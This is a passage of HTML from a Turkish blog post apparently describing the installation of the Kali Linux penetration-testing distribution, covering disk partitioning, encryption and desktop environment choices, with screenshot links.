href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxRSMMQP_MsboRRbSwtpGCKt2F9FMBasiLiyGVoeSurt81Y0M-tl0ORBxdEqg1vKzRrdZGXJZx79wLXSBYsGey1v2WtfKg3wNaTEqwbjOMo1vtaLT0JzMLkoFsQmLyXoKrfCMQxbvWd3TL/s1600/Kali-2013-03-13-17-21-06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxRSMMQP_MsboRRbSwtpGCKt2F9FMBasiLiyGVoeSurt81Y0M-tl0ORBxdEqg1vKzRrdZGXJZx79wLXSBYsGey1v2WtfKg3wNaTEqwbjOMo1vtaLT0JzMLkoFsQmLyXoKrfCMQxbvWd3TL/s400/Kali-2013-03-13-17-21-06.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOf-AL7Pi-OUFEqrm8F_T7QS8kUZ-L8GZ8ESg5fdQIFGq0DjlFCYqNPQzjVUPCmuzAtU2s7zNN65w34ETr6cFZP-4mo_9o9LYPZfcD7OP7uM-wUezms-PeE31ETokJAFnB3ydsXc8RNs9V/s1600/Kali-2013-03-13-17-21-16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOf-AL7Pi-OUFEqrm8F_T7QS8kUZ-L8GZ8ESg5fdQIFGq0DjlFCYqNPQzjVUPCmuzAtU2s7zNN65w34ETr6cFZP-4mo_9o9LYPZfcD7OP7uM-wUezms-PeE31ETokJAFnB3ydsXc8RNs9V/s400/Kali-2013-03-13-17-21-16.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;">Disk bölümlendirmenin nasıl gerçekleştirileceği belirtilir. Burada <b>home, usr, var </b>ve <b>tmp </b>dizinleri varsayılan olarak ayrılmış ve sistemin güvenliği amaçlanmıştır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfzbFxMqKgfRj2OPZL8rbFFZ8AwuVBZ32T9Sb-i1Owoi5PGA3YmruQUEa0sLGNpJYCBT35nqMlerlSzSYL0PE5FJ0mNgBinQyN6IjI6vC23JEZ-u815rFJujyucEAuqikTxL9tz2YRdKts/s1600/Kali-2013-03-13-17-21-28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfzbFxMqKgfRj2OPZL8rbFFZ8AwuVBZ32T9Sb-i1Owoi5PGA3YmruQUEa0sLGNpJYCBT35nqMlerlSzSYL0PE5FJ0mNgBinQyN6IjI6vC23JEZ-u815rFJujyucEAuqikTxL9tz2YRdKts/s400/Kali-2013-03-13-17-21-28.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;">Son olarak yapılan değişikliklerin diske uygulanmasına başlanmadan önce onay verilerek biçimlendirme, şifreleme ve sonrasında kurulum işlemi başlatılabilir. Diskin boyutuna bağlı olarak şifreleme de seçildiği için kurulum süresi arzu edilenden daha uzun süre alabilmektedir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmYDUQ__Y3YysrtQIPCkw6te0lTJlROPxTqlWHkjX5qKWvocDgjIDuAUvA8WRZpdFHf1nJbOB-lAsJCXkSL8aaOwT0gtpKQjb6dlfjTF8PfhvggQ7metWDLMiKVfTIBp_Vu7oc8TNe_-JS/s1600/Kali-2013-03-13-17-21-37.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmYDUQ__Y3YysrtQIPCkw6te0lTJlROPxTqlWHkjX5qKWvocDgjIDuAUvA8WRZpdFHf1nJbOB-lAsJCXkSL8aaOwT0gtpKQjb6dlfjTF8PfhvggQ7metWDLMiKVfTIBp_Vu7oc8TNe_-JS/s400/Kali-2013-03-13-17-21-37.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;">Varsayılan olarak GNOME masaüstü ortamını sunan dağıtım için KDE, XFCE, MATE, LXDE gibi farklı masaüstleri de kullanılabilmektedir. Buna uygun ISO oluşturmak için <a href="http://docs.kali.org/live-build/customize-the-kali-desktop-environment" target="_blank">bağlantıdan </a>faydalanılabilir.</div>

Kali Linux - Kurulum "The King is dead. Long live the King."

Sızma testi gerçekleştirenlerin sıklıkla alet çantasında yer alan, hatta alet çantasını oluşturan Backtrack dağıtımının son sürümünde sonra ...